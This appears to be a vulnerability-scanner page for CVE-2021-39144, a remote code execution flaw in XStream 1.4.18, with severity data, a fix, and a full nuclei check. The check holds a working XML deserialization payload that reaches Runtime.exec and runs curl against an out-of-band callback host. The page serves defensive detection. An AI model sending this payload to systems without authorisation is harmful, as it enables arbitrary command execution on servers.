XStream 1.4.18 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-03-10; known to be used by ransomware.

highseverity

8.5CVSS score

98.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Upgrade XStream to a version that is not affected by CVE-2021-39144.

How to confirm it

Send: POST /
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2021-39144 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-39144

info:
  name: XStream 1.4.18 - Remote Code Execution
  author: pwnhxl,vicrack
  severity: high
  description: |
    XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade XStream to a version that is not affected by CVE-2021-39144.
  reference:
    - https://x-stream.github.io/CVE-2021-39144.html
    - https://github.com/x-stream/xstream/security/advisories/GHSA-j9h8-phrw-h4fh
    - https://security.netapp.com/advisory/ntap-20210923-0003/
    - https://nvd.nist.gov/vuln/detail/cve-2021-39144
    - https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2021-39144
    cwe-id: CWE-306,CWE-502
    epss-score: 0.98124
    epss-percentile: 0.99912
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,deserialization,rce,kev,xstream_project,vkev,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
            </default>
            <int>3</int>
            <dynamic-proxy>
              <interface>java.lang.Comparable</interface>
              <handler class='sun.tracing.NullProvider'>
                <active>true</active>
                <providerType>java.lang.Comparable</providerType>
                <probes>
                  <entry>
                    <method>
                      <class>java.lang.Comparable</class>
                      <name>compareTo</name>
                      <parameter-types>
                        <class>java.lang.Object</class>
                      </parameter-types>
                    </method>
                    <sun.tracing.dtrace.DTraceProbe>
                      <proxy class='java.lang.Runtime'/>
                      <implementing__method>
                        <class>java.lang.Runtime</class>
                        <name>exec</name>
                        <parameter-types>
                          <class>java.lang.String</class>
                        </parameter-types>
                      </implementing__method>
                    </sun.tracing.dtrace.DTraceProbe>
                  </entry>
                </probes>
              </handler>
            </dynamic-proxy>
            <string>curl http://{{interactsh-url}}</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from